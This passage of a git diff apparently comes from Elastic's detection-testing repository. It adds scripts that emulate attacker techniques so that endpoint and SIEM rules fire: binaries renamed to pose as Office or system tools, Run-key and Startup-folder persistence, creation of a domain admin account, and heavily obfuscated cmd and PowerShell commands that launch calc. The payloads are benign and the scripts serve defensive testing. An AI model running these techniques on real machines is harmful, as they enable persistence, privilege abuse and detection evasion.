common.execute([wmiprvse, "/c", dropped], timeout=10, kill=True) + common.remove_file(winword) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_file_exec_script_interpreter.py b/rta/msoffice_file_exec_script_interpreter.py new file mode 100644 index 000000000..3354785af --- /dev/null +++ b/rta/msoffice_file_exec_script_interpreter.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="3206f2b2-c731-479f-a258-d486dac8a055", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office File Execution via Script Interpreter", + "rule_id": "54aabea0-3687-4ef1-b70c-015ca588e563", + } + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", "copy C:\\Windows\\System32\\cmd.exe cmd.exe"]) + + common.log("Executing it using scripting program") + common.execute( + [ + "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + "-C", + ".\\cmd.exe /c exit", + ] + ) + + common.remove_files(binary, "cmd.exe") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_reg_mod.py b/rta/msoffice_reg_mod.py new file mode 100644 index 000000000..e51dca639 --- /dev/null +++ b/rta/msoffice_reg_mod.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="61abdbb3-bcab-4c57-8b5d-2a5c9226e580", + platforms=["windows"], + endpoint=[ + {"rule_name": "Registry Modification via Microsoft Office", "rule_id": "926b6cd1-c0c7-46d4-82d6-9deb6ae431d6"} + ], + siem=[], + techniques=["T1547", "T1112", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, winword) + + cmd = ( + "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' " + "-Name Test -PropertyType String -value Testing" + ) + rem_cmd = "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name Test" + + # Execute command + common.log("Fake ms word reg mod...") + common.execute([winword, "/c", cmd], timeout=10) + common.execute([winword, "/c", rem_cmd], timeout=10) + common.remove_file(winword) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_signed_binary_spawn.py b/rta/msoffice_signed_binary_spawn.py new file mode 100644 index 000000000..c03311f46 --- /dev/null +++ b/rta/msoffice_signed_binary_spawn.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="498c13e2-789c-4a6c-b32d-0589d2f907c2", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Signed Binary Execution via Microsoft Office", + "rule_id": "321e7877-075a-4582-8eff-777dde15e787", + }, + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + ], + siem=[], + techniques=["T1574", "T1218", "T1566"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + temposh = "C:\\Users\\Public\\posh.exe" + binary = "C:\\Users\\Public\\winword.exe" + common.copy_file(powershell, binary) + + # Execute command + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", f"Copy-Item {powershell} {temposh}"], timeout=10) + + common.log("Executing it using fake winword") + common.execute([binary, "/c", temposh], kill=True) + + common.remove_files(binary, temposh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_startup_persistence.py b/rta/msoffice_startup_persistence.py new file mode 100644 index 000000000..edd9fff49 --- /dev/null +++ b/rta/msoffice_startup_persistence.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ea9a54fe-62ed-4825-b302-0ebbee22233f", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Microsoft Office Process Setting Persistence via Startup", + "rule_id": "2b8ea430-897d-486c-85a8-add9d7072ff3", + } + ], + siem=[], + techniques=["T1547", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Users\\Public\\posh.exe" + temp = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp_persist.exe" + binary = "C:\\Users\\Public\\winword.exe" + common.copy_file(EXE_FILE, powershell) + common.copy_file(powershell, binary) + + # Execute command + common.log("Writing to startup folder using fake winword") + common.execute([binary, "/c", f"Copy-Item {powershell} '{temp}'"]) + + common.remove_files(binary, temp) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_untrusted_exec.py b/rta/msoffice_untrusted_exec.py new file mode 100644 index 000000000..fa9a77656 --- /dev/null +++ b/rta/msoffice_untrusted_exec.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9d5af763-b3f9-4b89-96b6-16e0210f9755", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Network Connection via Process with Unusual Arguments", + "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", + }, + { + "rule_name": "Untrusted File Execution via Microsoft Office", + "rule_id": "bb23a662-2d75-4714-837d-4ec9c2e772a5", + }, + {"rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable", "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1055", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") +EXE_FILE2 = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE2, binary) + + # Execute command + fake_regsvr = "C:\\Users\\Public\\regsvr32.exe" + common.log("Dropping executable using fake winword") + common.execute([binary, "/c", f"copy {EXE_FILE} {fake_regsvr}"]) + + common.log("Executing it to create an untrusted child process") + common.execute([binary, "/c", fake_regsvr]) + + common.remove_files(binary, fake_regsvr) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msoffice_wmi_imageload.py b/rta/msoffice_wmi_imageload.py new file mode 100644 index 000000000..609b8ff62 --- /dev/null +++ b/rta/msoffice_wmi_imageload.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d2671cc5-87d0-4612-9e3c-0862b137d242", + platforms=["windows"], + endpoint=[{"rule_name": "WMI Image Load via Microsoft Office", "rule_id": "46952f58-6741-4280-8e74-fa43f63c9604"}], + siem=[], + techniques=["T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + winword = "C:\\Users\\Public\\winword.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\wmiutils.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + wmiprvse = "C:\\Users\\Public\\WmiPrvSE.exe" + common.copy_file(EXE_FILE, winword) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(EXE_FILE, wmiprvse) + + common.log("Loading wmiutils.dll into fake winword") + common.execute([winword, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + common.execute([wmiprvse, "/c", "powershell"], timeout=1, kill=True) + common.remove_files(winword, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_image_load.py b/rta/msxsl_image_load.py new file mode 100644 index 000000000..a0fad0c36 --- /dev/null +++ b/rta/msxsl_image_load.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cd549ba9-63be-4eff-ab6c-f567445e1977", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Script Execution via MSXSL", "rule_id": "de3615bc-4e50-485e-b3b5-8548ef6faa3d"}, + ], + siem=[], + techniques=["T1220", "T1218", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msxsl = "C:\\Users\\Public\\msxsl.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\scrobj.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, msxsl) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, msxsl, "--set-version-string", "OriginalFilename", "msxsl.exe"]) + + common.log("Loading scrobj.dll into fake msxsl") + common.execute([msxsl, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(msxsl, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py index a7e063f46..04f044b63 100644 --- a/rta/msxsl_network.py +++ b/rta/msxsl_network.py @@ -9,13 +9,24 @@ # Description: Generates network traffic from msxsl.exe from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a8331ff5-2199-48cf-9284-88351c859835", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "b86afe07-0d98-4738-b15d-8d7465f95ff5", "rule_name": "Network Connection via MsXsl"}], + techniques=["T1220"], +) + MS_XSL = common.get_path("bin", "msxsl.exe") XML_FILE = common.get_path("bin", "customers.xml") XSL_FILE = common.get_path("bin", "cscript.xsl") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MS_XSL, XML_FILE, XSL_FILE) def main(): common.log("MsXsl Beacon") diff --git a/rta/net_user_add.py b/rta/net_user_add.py index e0e642579..a3f5f89ca 100644 --- a/rta/net_user_add.py +++ b/rta/net_user_add.py @@ -10,17 +10,29 @@ # Description: Adds an account to the local host using the net.exe command from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="7884fa56-c4d6-494f-bfa5-825851ee0fda", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5", "rule_name": "Potential Hidden Local User Account Creation"} + ], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Creating local and domain user accounts using net.exe") commands = [ 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"', 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain', - 'net.exe group Administrators macgyver /add', + "net.exe group Administrators macgyver /add", 'net.exe group "Domain Admins" macgyver /add /domain', - 'net.exe localgroup Administrators macgyver /add', + "net.exe localgroup Administrators macgyver /add", ] for cmd in commands: @@ -28,7 +40,7 @@ def main(): cleanup_commands = [ "net.exe user macgyver /delete", - "net.exe user macgyver /delete /domain" + "net.exe user macgyver /delete /domain", ] common.log("Removing local and domain user accounts using net.exe", log_type="-") diff --git a/rta/network_connection_process_unusual_args.py b/rta/network_connection_process_unusual_args.py new file mode 100644 index 000000000..e983340a7 --- /dev/null +++ b/rta/network_connection_process_unusual_args.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8c77b44c-fb6d-4082-b62d-147918c622d9", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Network Connection via Process with Unusual Arguments", + "rule_id": "95601d8b-b969-4189-9744-090140ae29e6", + }, + ], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Making connection using fake regsvr32.exe") + common.execute([EXE_FILE], timeout=10, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/network_connection_unusual_rundll32.py b/rta/network_connection_unusual_rundll32.py new file mode 100644 index 000000000..2d9466c6f --- /dev/null +++ b/rta/network_connection_unusual_rundll32.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1bb39cea-8bf2-4b1f-a70e-69f6074a1fb4", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Unusual Network Connection via RunDLL32", "rule_id": "2e708541-c6e8-4ded-923f-78a6c160987e"}, + ], + siem=[], + techniques=["T1055", "T1218", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "rundll32.exe" + common.copy_file(EXE_FILE, binary) + + common.log("Making connection using fake rundll32.exe") + common.execute([binary]) + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/networksetup_vpn.py b/rta/networksetup_vpn.py new file mode 100644 index 000000000..9582fe084 --- /dev/null +++ b/rta/networksetup_vpn.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f9a34606-863d-46aa-b12d-eeeb68b530e3", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Virtual Private Network Connection Attempt", "rule_id": "15dacaa0-5b90-466b-acab-63435a59701a"} + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/networksetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake networksetup commands to connect to a VPN.") + common.execute([masquerade, "-connectpppoeservice"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py index 312912d07..966cf448c 100644 --- a/rta/obfuscated_cmd_commands.py +++ b/rta/obfuscated_cmd_commands.py @@ -10,18 +10,22 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="7b88c558-f732-4ff4-adaa-09c79bf02bd2", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe` commands = """ %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1% - cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" - cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" - cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" - cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" + cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" + cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" + cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" + cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3; """ # noqa: E501 commands = [c.strip() for c in commands.splitlines()] diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py index 180ed7b34..ed92c4472 100644 --- a/rta/obfuscated_powershell.py +++ b/rta/obfuscated_powershell.py @@ -10,9 +10,13 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="a52a72cb-6fc7-48b2-b365-8479a6cdb2e6", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): # All encoded versions of the following: # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")` @@ -25,7 +29,7 @@ def main(): i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe") &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' ) " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'') - ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ 